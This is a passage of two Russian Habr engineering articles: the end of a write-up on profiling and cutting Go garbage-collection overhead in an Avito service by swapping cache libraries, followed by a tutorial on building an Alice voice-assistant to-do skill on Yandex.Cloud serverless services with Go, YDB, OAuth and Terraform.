Когда мы запрашиваем один CPU, мы, грубо говоря, запрашиваем одну секунду работы с процессором. Если контейнер не будет успевать за эту одну секунду выполнять нужные ему задачи, Kubernetes ограничит ему доступ к CPU. То есть планировщик Kubernetes будет переключать задачу на другие pod’ы, и наш pod будет ждать, чтобы доделать нужные ему вычисления.
Для нашего pod было выделено по умолчанию 2 CPU. То есть две секунды времени. И Throttling 0,8 означает, что он в эти две секунды не укладывается, то есть ему нужно около 3 секунд или же почти 3 CPU. Почему это происходит? Давайте разбираться дальше.
Для этого у нас есть та же утилита pprof. В Авито она подключена по умолчанию во всех Go-приложениях, работающих [на нашем PaaS](https://habr.com/ru/company/avito/blog/527400/). При помощи команды
```
go tool pprof "http://${POD_IP}:3366/debug/pprof/profile?seconds=10"
```
мы получим профиль нашего сервиса. Pod IP мы можем узнать в Kubernetes дашборде.
У нас запустится интерактивный режим, в которым мы выполняем команду web для этого профиля, и у нас открывается svg-картинка в браузере. И так как я молодец и не сохранил профили, которые собирал ещё летом, мне пришлось всё это воспроизводить. Поэтому в некоторых местах придётся поверить мне на слово. Но я сделал тестовый pod, накатил его в тестовый кластер Kubernetes и буду обстреливать этот pod при помощи утилиты Apache Benchmark, и параллельно снимать профиль.
Каждый прямоугольник в снятом профиле — это работа определённой функции. И чем больше прямоугольник по размеру, тем больше времени заняло выполнение функции. Стрелками указывается порядок вызова. Чем толще стрелка, тем больше было времени потрачено на ветку вызова.
Сразу можно заметить, что у нас много вызовов runtime.nanoTime, которые, в свою очередь, вызываются из time.Now. И time.Now тоже вызывается довольно часто. Ещё мы видим вызовы runtime.mallocgc и другие. Если посмотрим внутрь runtime у Go, то увидим, что эти функции вызываются в сборке мусора.
Давайте теперь выполним команду чтобы узнать количество памяти выделенной в heap:
```
go tool pprof "http://${POD_IP}:3366/debug/pprof/heap?seconds=10"
```
Так мы получим количество памяти, выделенной в куче.
По названиям понятно, что большая часть памяти выделяется где-то внутри SetWithExpire. Функции библиотеки работают с кэшем GCache, который мы выбрали. Теперь выполним команду **web**, чтобы посмотреть граф выделения памяти.
Большая часть выделений памяти действительно происходит внутри библиотеки для кэширования, но пока ничего не понятно. Мы видим, что Heap у нас выделяется. Ну и выделяется и выделяется, чего бухтеть-то.
Дальше выяснить, что происходит, нам поможет инструмент **trace**. В Авито во всех Go-сервисах на PaaS он включен из коробки. Мы можем дёрнуть url с помощью curl:
```
curl "httр://${POD_IP}:3366/debug/pprof/trace?seconds=10" > trace.log
```
Теперь при вызове:
```
go tool trace trace.log
```
у нас откроется страница в браузере.
Здесь мы сразу видим, что порядка трёх-четырёх секунд занимает работа garbage collector’a. CPU не нагружен, потом начинается GC, и бум, просто полочка на три-четыре секунды. Чтобы понять, что это значит, нужно немного углубиться в то, [как работает garbage collection в Go](https://www.ardanlabs.com/blog/2018/12/garbage-collection-in-go-part1-semantics.html).
Перед началом работы GC делает stop the world на всех горутинах. То есть на совсем небольшой промежуток времени останавливается выполнение всего кода. Далее GC устанавливает режим write barrier для памяти. Он это делает для того, чтобы указатели в памяти не прыгали, и ему было проще их все посчитать, пометить и найти те, которые нужно удалить.
Дальше идёт этап mark-and-sweep, который может работать параллельно, в разных горутинах. Он ищет те объекты в Heap, на которые нет больше ссылок, то есть до которых мы никак не можем добраться. После того, как он заканчивает этап mark-and-sweep, он удаляет объекты и делает ещё один stop the world, в котором снимает режим write barrier. И после этого всё продолжает работу.
На нашем trace мы видим аж два GC dedicated. GC dedicated — это как раз этап mark-and-sweep. То есть этап, на котором Go проверяет весь Heap и ищет в нём ссылки, до которых мы не можем больше добраться, то есть указатели.
Если GC не хватает одного воркера для пометок, он может на других горутинах запустить дополнительные воркеры. По умолчанию он берёт один воркер, один внутренний процессор в Go. В нашем случае Go явно считает, что не справляется со сборкой мусора, поэтому запустил второй воркер. И проблема с производительностью связана с тем, что у нас очень большое количество указателей в Heap.
Считаем указатели
-----------------
Строки, по сути, содержат в себе указатель. Если мы посмотрим в src/runtime/string.go, то увидим, что строка — это структура, которая внутри себя хранит указатель и длину. Кэш телефонов у нас 5 млн, и плюс ещё кэш call tracking несколько сотен тысяч. То есть 5 млн телефонов — ключ строка, и значение тоже строка. Это уже 10 млн указателей только со строк.
Дальше заглянем в библиотечку кэширования. Под капотом она использует двусвязный список. Каждый элемент двусвязного списка хранит в себе ссылку на следующий и предыдущий элемент, а также ссылку на весь список. То есть в каждом элементе, который лежит в кэше, есть ещё три указателя. Всего получается 10 млн указателей со строк, плюс 5 млн элементов, умноженные на три. Это 25 млн указателей суммарно.
GCache на каждый вызов SetWithExpire делает вызов **c.clock.Now**, то есть **time.Now**. Уже немножко проясняется, откуда в Tracing CPU мы видели так много вызовов методов time.Now. Причём он не просто делает этот вызов, но он ещё к каждому элементу сохраняет ссылку на time.Now. Плюс ещё указатель. Их было 25 млн, добавим ещё 5 млн. Итого, **30 млн указателей**.
Оптимизация сборщика мусора
---------------------------
Попытаемся сократить количество используемых указателей, чтобы упростить жизнь сборщику мусора.
Для начала попробуем поискать аналоги библиотеки. Нехитрым поиском по GitHub находим такую библиотеку, как [CCache](https://github.com/karlseguin/ccache). В описании указано, что она создана для того, чтобы быть производительной, хорошо оптимизирована для работы в многопоточном режиме. Сразу же посмотрим, как она работает, чтобы не наступить на те же грабли.
Внутри себя CCache тоже использует двусвязный список. При этом место хранения указателя на время она сохраняет timestamp, а это уже минус 5 млн указателей. Потом она делит элементы на бакеты, то есть мы можем указать количество хранилищ, в которых будут лежать элементы. Делается это для того, чтобы локи не блокировали полностью кэш.
Если у нас, к примеру, параллельно работает восемь горутин и есть восемь бакетов, и каждая горутина попытается записать, то они, с большой вероятностью, спокойно это сделают и не помешают друг другу. А если будет всего один бакет, как в предыдущей реализации с GCache, то первая же горутина заблокирует, а остальные семь будут ждать. И они по очереди будут делать запись. Теперь понятно, почему в CCache сказано, что она написана для работы в многопоточном режиме.
Выбор бакета для сохранения элементов делается при помощи рассчёта хэша. Также есть удаление элементов, время хранения которых уже вышло, и сделано это на каналах, что тоже хорошо.
Но есть проблема, что ключ обязательно должен быть строкой в этой библиотеке, что оставляет нам 5 миллионов указателей. Тем не менее, попробуем написать бенчмарки.
Оказывается, что CCache работает в 69 раз быстрее, чем GCache.
И при этом время работы GC при работе с новой библиотекой сократилась в два раза.
Давайте попробуем заменить библиотечку на проде.
Response time сервиса сразу значительно упал. И самое главное, что Throttling CPU стал намного ниже и выбивается теперь максимум до 0,1. То есть GC стало явно легче работать. После всех оптимизаций и работа с call tracking тоже стала намного лучше, так как я ещё дополнительно расширил размер кэша для него.
Итог оптимизаций
----------------
В итоге проведенных оптимизаций нам удалось:
* Добиться уменьшения response time сервиса в 1,8 раз.
* Снизить Throttling CPU в 8 раз.
* Снизить количество ошибок в два раза, благодаря тому, что тайм-ауты практически пропали.
Несмотря на уже проведенные оптимизации, ещё осталось пространство для улучшений. Как минимум, я находил ещё одну библиотеку, которая вообще не работает с указателями, а работает с массивом байт памяти. Тогда Go не видит указателей и не тратит время на сбор мусора. То есть библиотека сама занимается тем, что очищает мусор. И вообще процесс оптимизации бесконечен. А какие инструменты используете вы для оптимизации своих сервисов? | https://habr.com/ru/post/539024/ | null | ru | null |
# Навык Алисы на serverless в Yandex.Cloud
Трудно в одном тексте, с одной стороны, описать всё необходимое для разработки даже самого простого навыка Алисы, а с другой — показать разработку на serverless-стеке так, чтобы и новичку было не слишком сложно, и заядлому девелоперу не пришлось скучать. Но попробую осилить эту задачу, написав навык на Go. И будет у меня семейный список дел.
Какое приложение делаем
-----------------------
Мы разработаем навык для голосового помощника «Список дел». С помощью Алисы вы сможете создавать список дел, редактировать его, добавлять и удалять элементы. Кроме того, можно будет делиться списками дел через сайт в облаке. Вот что у нас должно получиться.
А теперь поэтапно пройдём весь процесс создания навыка — от настройки рабочей среды до разработки клиентской и серверной частей нашего приложения.
Архитектура сервиса
-------------------
Концептуально архитектура нашего приложения на serverless-стеке не сильно отличается от архитектуры на классическом наборе компонентов. Пользователь приходит или через браузер, или через Алису — платформу Яндекс.Диалоги. В нашем случае платформа выступает как элемент сервиса Cloud Functions, куда можно загрузить свой код.
С начала загрузки код будет доступен для вызова в облаке. В момент вызова экземпляр функции аллоцируется и исполняет запрос пользователя. Чем больше пользователей, тем больше экземпляров аллоцируется.
Экономическую особенность использования serverless можно описать известным выражением — pay-as-you-go. Нет запросов — нет денежных трат, потому что плата взимается за время исполнения функции и за количество вызовов. В этом ключевое отличие serverless от классической архитектуры. Также в serverless-архитектуре отсутствуют компонент load-balancer и масштабирование со стороны разработчика — их предоставляет Yandex.Cloud.
Настраиваем рабочую среду
-------------------------
Для создания нашего приложения мы по максимуму используем serverless-стек Yandex.Cloud — все вычисления будут производиться в функциях, данные храниться в Yandex Database, а интеграция выполняться через API Gateway. Так мы избавим себя от создания и обслуживания виртуальных машин, а также уменьшим финансовые затраты.
Для нашего проекта мы воспользуемся следующими сервисами Yandex.Cloud:
* [Yandex Cloud Functions](https://cloud.yandex.ru/services/functions) — при помощи этого сервиса мы можем запускать код в виде функции;
* [Yandex Database](https://cloud.yandex.ru/services/ydb) — распределённая NewSQL СУБД с поддержкой бессерверных вычислений;
* [Yandex Cloud API Gateway](https://cloud.yandex.ru/services/api-gateway) — сервис для создания API-шлюзов. Поддерживает спецификацию OpenAPI 3.0 и набор расширений для интеграции с другими облачными сервисами;
* [Yandex Object Storage](https://cloud.yandex.ru/docs/storage/) — объектное хранилище;
* [Yandex KMS](https://cloud.yandex.ru/docs/kms/) — сервис для шифровки и дешифровки секретов;
* [CLI Yandex](https://cloud.yandex.ru/docs/cli/) — командная строка Yandex;
* [API Yandex ID](https://yandex.ru/dev/passport/) + [OAuth 2.0](https://yandex.ru/dev/oauth/) — сервисы для авторизации и аутентификации.
Помимо платформенных сервисов, для разработки приложения нам потребуются дополнительные приложения, утилиты и пакеты:
* [Gorilla](http://github.com/gorilla/sessions)
* [go-swagger](https://goswagger.io/install.html)
* [api-spec-converter](https://www.npmjs.com/package/api-spec-converter)
* [jq](https://stedolan.github.io/jq/)
* [Terraform](http://terraform.io/)
* [AWS command line tool](https://aws.amazon.com/ru/cli/)
* Node.js
* Go
Библиотеку [restful-react](http://github.com/contiamo/restful-react)можно установить позже пакетным менеджером Node/JS/Go и не беспокоиться о ней заранее.
Чтобы работать с serverless-стеком Yandex.Cloud, вы должны иметь аккаунт Yandex.Cloud и пройти процедуру авторизации.
Устанавливаем зависимости
-------------------------
Использование зависимостей упрощает одновременную работу с несколькими объектами. Сервис Cloud Functions на этапе сборки автоматически устанавливает зависимости, необходимые для работы функции, во время создания её новой версии. Причём поддерживаются два способа автоматического управления зависимостями — модули **mod**и утилита **dep**. Подробнее об управлении зависимостями можно прочитать в [документации](https://cloud.yandex.ru/docs/functions/lang/golang/dependencies).
Для установки зависимостей при помощи модулей нужно загрузить из [репозитория](https://github.com/yandex-cloud/examples/tree/master/serverless/alice-shareable-todolist/app) файл go.mod вместе с исходным кодом функции. В нём мы будем управлять зависимостями нашего бэкенда. Наш полный список выглядит внушительно, на первый взгляд:
```
require (
github.com/go-openapi/errors v0.20.0
github.com/go-openapi/loads v0.20.2
github.com/go-openapi/runtime v0.19.26
github.com/go-openapi/spec v0.20.3
github.com/go-openapi/strfmt v0.20.0
github.com/go-openapi/swag v0.19.14
github.com/go-openapi/validate v0.20.2
github.com/golang/protobuf v1.4.3 // indirect
github.com/google/go-cmp v0.5.4 // indirect
github.com/gorilla/securecookie v1.1.1
github.com/gorilla/sessions v1.2.1
github.com/jessevdk/go-flags v1.4.0
github.com/stretchr/testify v1.7.0
github.com/texttheater/golang-levenshtein v1.0.1
github.com/yandex-cloud/go-genproto v0.0.0-20210211094722-b4ab90f1132d
github.com/yandex-cloud/go-sdk v0.0.0-20210211095836-1e646debd48a
github.com/yandex-cloud/ydb-go-sdk v0.0.0-20210203152813-253585cf1c0d
go.uber.org/zap v1.16.0
golang.org/x/net v0.0.0-20210119194325-5f4716e94777
google.golang.org/grpc v1.35.0 // indirect
)
```
Инициализируем приложение
-------------------------
Перед тем как писать наше приложение, разберём, как инициализировать функцию, написать обработчик и разместить приложение. Начнём с простого: напишем **hello world**, но с возможностями для расширения в настоящее приложение.
Чаще всего простые обработчики делают без какого-либо состояния, например так:
```
func Handler(_ context.Context, req map[string]string) (string, error) {
return fmt.Sprintf("Hello, %s!", req["name"])
}
```
Но для функции можно задать глобальное состояние и прочитать его при обработке следующего запроса. Таким образом, когда запросы будут приходить в функцию, она не будет «вытеснена». Разница с классическими приложениями в том, что функции с сохранённым состоянием можно использовать для кешей и инициализации «тяжёлых» компонентов, таких как подключения к БД. Но хранить там важную информацию, потеря которой приведёт к проблемам, нежелательно.
Пример написания нашего обработчика можно посмотреть [тут](https://github.com/avhaliullin/code-fragments/blob/main/dummy-handler.go).
Код пользователя в Cloud Functions не находится в постоянно запущенном состоянии — его запускает платформа функций, когда в простаивающую функцию вдруг приходят запросы или когда нагрузка растёт и требуется масштабирование функции. Первый запуск функции принято называть cold start. Если такой запуск происходит, то приложение пользователя фактически инициализируется с нуля.
Конкретно для Go это не очень плохой сценарий, потому что язык использует AOT-, а не JIT-компиляцию и в общем накладные расходы на запуск Go-приложения не сказать что огромные.
Но приложению так или иначе нужно стартовать — в нашем случае мы должны инициализировать все логические компоненты приложения (что опять же довольно быстро), а также нужно сделать пару «тяжеловесных» действий:
1. Расшифровать секреты — для этого мы используем KMS, он, конечно, работает быстро, но это в любом случае поход по сети.
2. Инициализировать соединение до Yandex Database (об этом чуть позже). Далее мы будем переиспользовать это соединение, но в первый раз его нужно установить — и это тоже может красть драгоценные миллисекунды.
После подготовки обработчика мы складываем все компоненты нашего приложения в структуру **app** и заворачиваем эту структуру в глобальный **singleton**. Таким образом приложение станет инициализироваться только при cold start, а при постоянном потоке запросов будет обрабатывать каждый очередной запрос максимально быстро, как в обычном серверном приложении. Весь процесс инициализации нашего приложения выглядит [вот так.](https://github.com/yandex-cloud/examples/blob/master/serverless/alice-shareable-todolist/app/web_handler.go)
Разворачиваем через Terraform
-----------------------------
Простые короткие функции проще всего редактировать через веб-интерфейс. Но наш сервис достаточно велик, и кода в нём будет много, поэтому мы воспользуемся Terraform. В качестве референса вы можете посмотреть Terraform-спецификацию деплоя конечной версии проекта по [этой ссылке.](https://github.com/yandex-cloud/examples/blob/master/serverless/alice-shareable-todolist/app.tf)
Перед развёртыванием кода деплой надо протестировать. Terraform деплоит функцию, и мы убедимся, что она работает, вызвав её с помощью [yc serverless function invoke](https://cloud.yandex.ru/docs/functions/concepts/function-invoke). В процессе выполнения потребуется OAuth token — это токен, выданный в облаке при прохождении процедуры аутентификации. О том, как получить текущий OAuth token, можно прочитать в [документации](https://cloud.yandex.ru/docs/iam/concepts/authorization/oauth-token). Срок жизни OAuth-токена — один год. После этого необходимо получить новый OAuth-токен и повторить процедуру аутентификации.
Разберём на несложном примере, как это работает. Для этого возьмём и выполним простой Terraform-рецепт для [hello world обработчика](https://github.com/avhaliullin/code-fragments/blob/main/dummy-app.tf):
```
## Инициализируем:
terraform init --var yc-token=
--var folder-id=
## Деплоим:
terraform apply --var yc-token=
--var folder-id=
```
Когда деплой закончится, Terraform выдаст ответ:
```
Apply complete! Resources: 1 added, 0 changed, 0 destroyed.
Outputs:
function-id = "d4e3rf325cn81ckd5484"
```
После этого можно вызвать функцию, используя уникальный идентификатор function-id, и убедиться в корректности её работы:
```
yc serverless function invoke d4e3rf325cn81ckd5484
```
Теперь можно разворачивать приложение, заранее получив OAuth-токен для работы с Yandex.Cloud с помощью запроса к сервису Яндекс.OAuth.
```
terraform apply -var-file ./variables.json -var yc-token=
```
Готовим базу данных
-------------------
В нашем проекте мы используем распределённую NewSQL СУБД с поддержкой бессерверных вычислений — Yandex Database (YDB). Это собственная разработка команды Яндекса. YDB сочетает высокую доступность и масштабируемость с поддержкой строгой консистентности и ACID-транзакций, а также легка в обслуживании.
Но главное, она поддерживает режим бессерверных вычислений и вы будете оплачивать только хранение и операции с данными. До октября 2021 года на специальном тарифе миллион операций в месяц предоставляются бесплатно. Подробнее о Yandex Database можно [почитать у моего коллеги](https://habr.com/ru/post/562746/).
Для нашего навыка мы создаём в базе данных три таблицы:
* User — таблица пользователей списка дел;
* TODOList\_ACL — таблица связи. Она нужна нам, чтобы узнавать, как пользователь связан с разными списками;
* TODOList — таблица элементов списка дел.
```
CREATE TABLE `user`
(
id string,
name utf8,
yandex_avatar_id string,
PRIMARY KEY (id)
);
CREATE TABLE `todolist_acl`
(
user_id string,
mode string,
list_id string,
alias utf8,
accepted bool,
inviter string,
PRIMARY KEY (list_id, user_id),
INDEX UserToListACL GLOBAL ON (user_id)
);
CREATE TABLE `todolist`
(
id string,
owner_user_id string,
items Json,
PRIMARY KEY (id)
);
COMMIT;
```
Пишем код для работы с базой данных
-----------------------------------
Теперь нам надо написать код для обращения к нашей базе данных. Забираем из этой [папки](https://github.com/yandex-cloud/examples/tree/master/serverless/alice-shareable-todolist/app/db) файлы с кодом для каждой из сущностей и помещаем их в свой проект или создаём отдельные [файлы](https://console.cloud.yandex.ru/folders/b1gv2p8natinciivipeu/ydb) и копируем только код. Дальше описываем [**config**](https://github.com/avhaliullin/code-fragments/blob/main/config.go)для входа в БД напрямую из функции, если вы скопировали весь пакет db. Переделываем [обработчик](https://github.com/avhaliullin/code-fragments/blob/main/handler.go) и дополняем [рецепт](https://github.com/avhaliullin/code-fragments/blob/main/app.tf) деплоя.
Для проверки вызываем функцию командой:
```
yc serverless function invoke d4e3rf325cn81ckd5484 -d '{"user": "test-user"}'
```
В результате вызова получаем новую запись в таблице базы данных. Теперь необходимо настроить бизнес-логику приложения при работе с базой данных, для этого создадим два интерфейса.
Интерфейс [Repository](https://github.com/yandex-cloud/examples/blob/master/serverless/alice-shareable-todolist/app/db/repo.go) будет содержать простые методы для работы с базой данных, где каждый метод делает что-то только с одной таблицей.
```
type Repository interface {
GetTODOList(ctx context.Context, id model.TODOListID) (*model.TODOList, error)
SaveTODOList(ctx context.Context, list *model.TODOList) error
DeleteTODOList(ctx context.Context, id model.TODOListID) error
SaveACLEntry(ctx context.Context, entry *model.ACLEntry) error
ListACLByUser(ctx context.Context, id model.UserID) ([]*model.ACLEntry, error)
ListACLByList(ctx context.Context, id model.TODOListID) ([]*model.ACLEntry, error)
SaveUser(ctx context.Context, user *model.User) error
GetUser(ctx context.Context, id model.UserID) (*model.User, error)
GetACL(ctx context.Context, userID model.UserID, listID model.TODOListID) (*model.ACLEntry, error)
DeleteACL(ctx context.Context, userID model.UserID, listID model.TODOListID) error
}
```
Второй — более высокоуровневый интерфейс [Service](https://github.com/yandex-cloud/examples/blob/master/serverless/alice-shareable-todolist/app/todolist/service.go). В нём уже есть взаимодействие с авторизацией и с несколькими таблицами сразу. Это уже действие, которое пользователь может делать на сайте или через Алису.
```
type Service interface {
Create(ctx context.Context, req *ListCreateRequest) (model.TODOListID, errors.Err)
Get(ctx context.Context, req *ListGetRequest) (*model.TODOList, *model.ACLEntry, errors.Err)
AddItem(ctx context.Context, req *ItemAddRequest) errors.Err
RemoveItem(ctx context.Context, req *ItemRemoveRequest) errors.Err
GetUserLists(ctx context.Context, req *GetUserListsRequest) ([]*model.ACLEntry, errors.Err)
GetListUsers(ctx context.Context, req *GetListACLRequest) ([]*model.ACLEntry, errors.Err)
InviteUser(ctx context.Context, req *InviteRequest) errors.Err
AcceptAndRenameList(ctx context.Context, req *AcceptAndRenameListRequest) errors.Err
RemoveList(ctx context.Context, req *RemoveListRequest) errors.Err
RevokeInvitation(ctx context.Context, req *InvitationRevokeRequest) errors.Err
}
```
Пишем код работы списка
-----------------------
Подобрались к самому важному — реализации [методов работы списка](https://github.com/yandex-cloud/examples/blob/ad6baa688d8e065a21d53b3fc15482dffe806999/serverless/alice-shareable-todolist/app/db/todo_list.go).
```
func (r *repository) SaveTODOList(ctx context.Context, list *model.TODOList) error {
const query = `
DECLARE $id AS string;
DECLARE $owner_user_id AS string;
DECLARE $items AS json;
UPSERT INTO todolist(id, owner_user_id, items) VALUES ($id, $owner_user_id, $items);
`
itemsJson, err := json.Marshal(list.Items)
if err != nil {
return fmt.Errorf("serializing list items: %w", err)
}
return r.execute(ctx, func(ctx context.Context, s *table.Session, txc *table.TransactionControl) (*table.Transaction, error) {
tx, _, err := s.Execute(ctx, txc, query, table.NewQueryParameters(
table.ValueParam("$id", ydb.StringValue([]byte(list.ID))),
table.ValueParam("$owner_user_id", ydb.StringValue([]byte(list.Owner))),
table.ValueParam("$items", ydb.JSONValue(string(itemsJson))),
))
return tx, err
})
}
```
[Когда мы пишем код работы списка](https://github.com/yandex-cloud/examples/blob/master/serverless/alice-shareable-todolist/app/todolist/impl.go#L14), то [используем расстояние Левенштейна](https://github.com/yandex-cloud/examples/blob/master/serverless/alice-shareable-todolist/app/alice/text/text_match.go). Этот способ поиска по неточному совпадению — один из многих, которые подходят для решения нашей задачи. В чём она заключается и почему мы не можем просто искать список по названию?
Мы пишем навык для Алисы, с которой пользователь взаимодействует голосом. То, что он наговаривает, конвертируется в текст, и стопроцентной гарантии полного совпадения результата распознавания с тем, что есть в базе данных, быть не может. Поиск по неточному совпадению нам нужен для сопоставления распознанного текста с сохранённым в БД названием.
В приложении у нас есть бизнес-логика и два интерфейса над ней: Алисы с неточным распознаванием и веб — без этих особенностей. Почему же решение с неточным поиском находится в бизнес-логике, а не в коде для Алисы? Потому что в первую очередь мы создаём навык, и если пользователь сможет создать два списка с похожими названиями, то ему будет сложно их выбирать через Алису. Чтобы это исправить, мы вводим ограничение на схожесть названия в бизнес-логике. Благодаря этому даже частичное дублирование списков полностью исключено.
То есть сначала мы убеждаемся, что пользователь авторизован, затем проверяем, что список с таким названием не дублируется. И делаем это не равенством: [начинаем искать в списках лучшие совпадения](https://github.com/yandex-cloud/examples/blob/master/serverless/alice-shareable-todolist/app/todolist/util.go#L36).
Авторизация и секреты
---------------------
Так как наше приложение может работать с несколькими пользователями, то для них обязательно должна быть [авторизация](https://github.com/yandex-cloud/examples/tree/master/serverless/alice-shareable-todolist/app/web/auth). Чтобы списки дел оставались приватными, кроме случаев, когда их создатель сам готов ими поделиться.
Воспользуемся инструментами авторизации Яндекса. Для нашего проекта это подходит, потому что мы делаем навык для Алисы. Схема авторизации выглядит так: новый пользователь авторизуется на Яндексе, а мы принимаем его логин как идентификатор пользователя на нашем сайте. Для этого используем Yandex OAuth 2.0 API и [API Яндекс ID](https://www.google.com/url?q=https://yandex.ru/dev/passport/&sa=D&source=editors&ust=1622450180387000&usg=AOvVaw3fENlOTiCYmtKhww7M2akW).
Мы не хотим, чтобы пользователь проходил авторизацию каждый раз, когда совершает какое-то действие на сайте. Поэтому применим механизм HTTP-сессий. Когда пользователь будет авторизовываться, мы запишем ему сессионную куку и положим в неё его Яндекс-логин. В дальнейшем мы будем авторизовывать его по этой куке, минуя API Яндекса. Для работы с куками используем библиотеку Gorilla Sessions.
Кроме этого, нам нужно передавать в приложение секретные значения — secret из Yandex OAuth и ключ шифрования, который используется при работе с HTTP-сессиями. Для шифрования и расшифровки секретов воспользуемся [сервисом Yandex KMS](https://cloud.yandex.ru/services/kms). Ключи шифрования в KMS неизвлекаемые — ключ не может утечь, и расшифровать секрет можно только с соответствующим разрешением в Yandex.Cloud.
1. Разрешим сервисному аккаунту нашей функции [использовать ключи шифрования](https://github.com/yandex-cloud/examples/blob/master/serverless/alice-shareable-todolist/app.tf#L61).
2. [Зашифруем](https://github.com/yandex-cloud/examples/blob/master/serverless/alice-shareable-todolist/app.tf#L40) наши секреты ключом KMS.
3. [Запишем зашифрованные секреты](https://github.com/yandex-cloud/examples/blob/master/serverless/alice-shareable-todolist/app.tf#L8)в environment-переменные функции.
4. В коде функции [расшифруем секреты](https://github.com/yandex-cloud/examples/blob/master/serverless/alice-shareable-todolist/app/secure/config.go) с помощью Yandex Cloud SDK.
Заводим приложение в OAuth
--------------------------
Следующим шагом регистрируем новое приложение в <https://oauth.yandex.ru/> .
При заполнении формы отмечаем поле **Веб-сервисы**. В Callback URI указываем страницу редиректа, куда OAuth-сервис будет отправлять пользователя, когда тот подтвердит доступ, и технический домен API Gateway.
```
https://social.yandex.net/broker/redirect
/yandex-oauth
```
Пишем спецификацию API 3.0
--------------------------
Cервис API Gateway позволяет декларативно описать HTTP API. В нём используется [спецификация](https://github.com/yandex-cloud/examples/blob/master/serverless/alice-shareable-todolist/gateway/openapi-template.yaml) OpenAPI 3.0, к ней мы и прибегнем. Эта спецификация позволяет описать пути на вашем сайте и некоторые детали запроса, например форму ответа. В спецификации можно указать пути, по которым нужно идти в функцию или сделать что-то с объектами в хранилище Object Storage. Пользоваться спецификацией — это самый верный способ делать serverless-сайты.
```
# Backend-driven redirect pages
/login:
get:
operationId: page_login
x-yc-apigateway-integration: { type: cloud_functions, function_id: "${WEB_FUNCTION_ID}", tag: $latest, service_account: "${GATEWAY_SA_ID}" }
responses:
302:
description: 'Login redirect page'
headers:
Location:
schema: { type: string }
description: "Redirect location"
/receive-token:
get:
operationId: page_receive_token
x-yc-apigateway-integration: { type: cloud_functions, function_id: "${WEB_FUNCTION_ID}", tag: $latest, service_account: "${GATEWAY_SA_ID}" }
responses:
302:
description: 'Login redirect page'
headers:
Location:
schema: { type: string }
description: "Redirect location"
parameters:
- name: state
in: query
schema: { type: string }
- name: code
in: query
required: true
schema: { type: string }
```
Аналогичным образом производится настройка для всех остальных путей.
Можно сделать API Gateway и на более простой схеме, не указывая все формы ответа и запроса. Но хорошая спецификация, которая подробно описывает ваш API, позволяет генерировать вам клиентский и серверный код, а также документацию. Нам выгодно описывать схему максимально подробно, чтобы потом использовать её.
При создании шлюза создаётся служебный домен, по которому мы уже можем вызывать наш API Gateway, когда он перейдёт в статус running. К спецификации есть много утилит для разных языков, позволяющие генерировать разный код — валидацию, клиентский, серверный. В частности, для этого проекта мы выбрали две библиотеки: для бэкенда go-swagger и для фронтенда restful-react.
Работаем с серверной и клиентской библиотеками, загружаем статику в Object Storage
----------------------------------------------------------------------------------
Теперь перейдём к разработке на Go серверной и клиентской частей нашего проекта.
#### Пишем серверную часть
Для Go генерируются [модели](https://github.com/yandex-cloud/examples/tree/master/serverless/alice-shareable-todolist/app/generated/openapi/models) и [сервер](https://github.com/yandex-cloud/examples/blob/master/serverless/alice-shareable-todolist/app/generated/openapi/restapi/server.go), готовые обслуживать HTTP-запросы. Но так как наш сервер будет не на виртуальной машине, а в виде функции со своим API, то мы должны принять JSON-запрос и вернуть JSON-ответ. Посмотреть, как это делается, можно [тут](https://github.com/yandex-cloud/examples/blob/master/serverless/alice-shareable-todolist/app/web/apigw/request.go).
#### Пишем клиентскую часть
Мы можем сделать фронтенд с Node.js внутри функции, но пойдём более простым путём — завернём клиентскую часть в SPA, когда весь рендеринг будет выполняться на стороне клиента прямо в браузере, а для сервера надо только раздать статику и прописать API, что уже сделано. Для создания SPA воспользуемся библиотеками React и Bootstrap, чтобы оживить веб-приложение и не верстать таблички руками.
Для спецификации при помощи библиотеки restful-react сгенерировался [файл](https://github.com/yandex-cloud/examples/blob/master/serverless/alice-shareable-todolist/frontend/src/FETCHERS.tsx), [загружаем](https://cloud.yandex.ru/docs/storage/operations/objects/upload) компоненты в бакет OS, к которому уже подключили API Gateway.
#### Что умеет Алиса: создаем навык
На своей стороне Алиса инкапсулирует распознавание речи, сама занимается text-to-speech и speech-to-text. Нам нужно реализовать простой API: Алиса приходит с JSON-запросом, а нам нужно вернуть JSON-ответ. Этот API подробно описан в документации. Для нас важно, что Алиса умеет нативно интегрироваться с Yandex Cloud Functions, поэтому и навык нам проще будет создать на функциях.
Идём в [Диалоги](https://dialogs.yandex.ru/developer/) и настраиваем навык. В главных настройках выбираем уже написанную функцию — навык интегрирован.
Авторизация в Алисе
-------------------
Теперь нам необходимо связать пользователя нашего сайта с пользователем Алисы. Наша задача — дать пользователю возможность редактировать список через Алису, а потом делиться им через сайт. Для этого в Алисе есть настройки авторизации, и мы можем авторизовать пользователя на любом сервисе, который поддерживает OAuth 2.0. Поскольку мы авторизовались через сервис Яндекс.Паспорт, нам достаточно скопировать настройки в интерфейс Алисы.
> **Идентификатор приложения**: id вашего Yandex OAuth приложения
>
> **Секрет приложения:** секрет (пароль) вашего Yandex OAuth приложения
>
> **Authorization url:** *https://oauth.yandex.ru/authorize*
>
> **URL for token receive:** *https://oauth.yandex.ru/token*
>
> **URL for token refresh:** *https://oauth.yandex.ru/token*
>
>
Интенты в Алисе
---------------
Интенты — это намерения пользователя, то, что он может хотеть от навыка. Они описаны в платформе Диалогов. Для нашего навыка это означает, что интенты приходят уже распознанные и распарсенные, поэтому нам гораздо проще с ними взаимодействовать.
Интенты дают Алисе контекст и улучшают распознавание речи. Они упрощают задачу на стороне кода навыка, описываются грамматикой и позволяют вычленять параметры. Их настройка производится на вкладке **Интенты**:
Кнопки в Алисе
--------------
Кнопки рассказывают пользователю о том, какие сценарии поддерживает ваш навык. Они позволяют на смартфоне отвечать Алисе в один тап. Кнопки не требуют эвристик и угадывания намерений пользователя на стороне навыка — работают как контролы в обычном UI. Вот [пример](https://github.com/avhaliullin/code-fragments/blob/main/alice-buttons.json) ответа Алисе кнопками, а также простая [функция](https://github.com/avhaliullin/code-fragments/blob/main/buttons-handler.sh) на bash, которая позволяет потестировать кнопки:
```
echo '{
"version": "1.0",
"response": {
"text": "Посмотри на мои кнопки",
"buttons": [
{
"title": "Кнопка 1",
"payload": {
"a": "b"
}
},
{
"title": "Кнопка 2",
"payload": {
"a": "c"
}
}
]
}
}'
```
Пишем навык
-----------
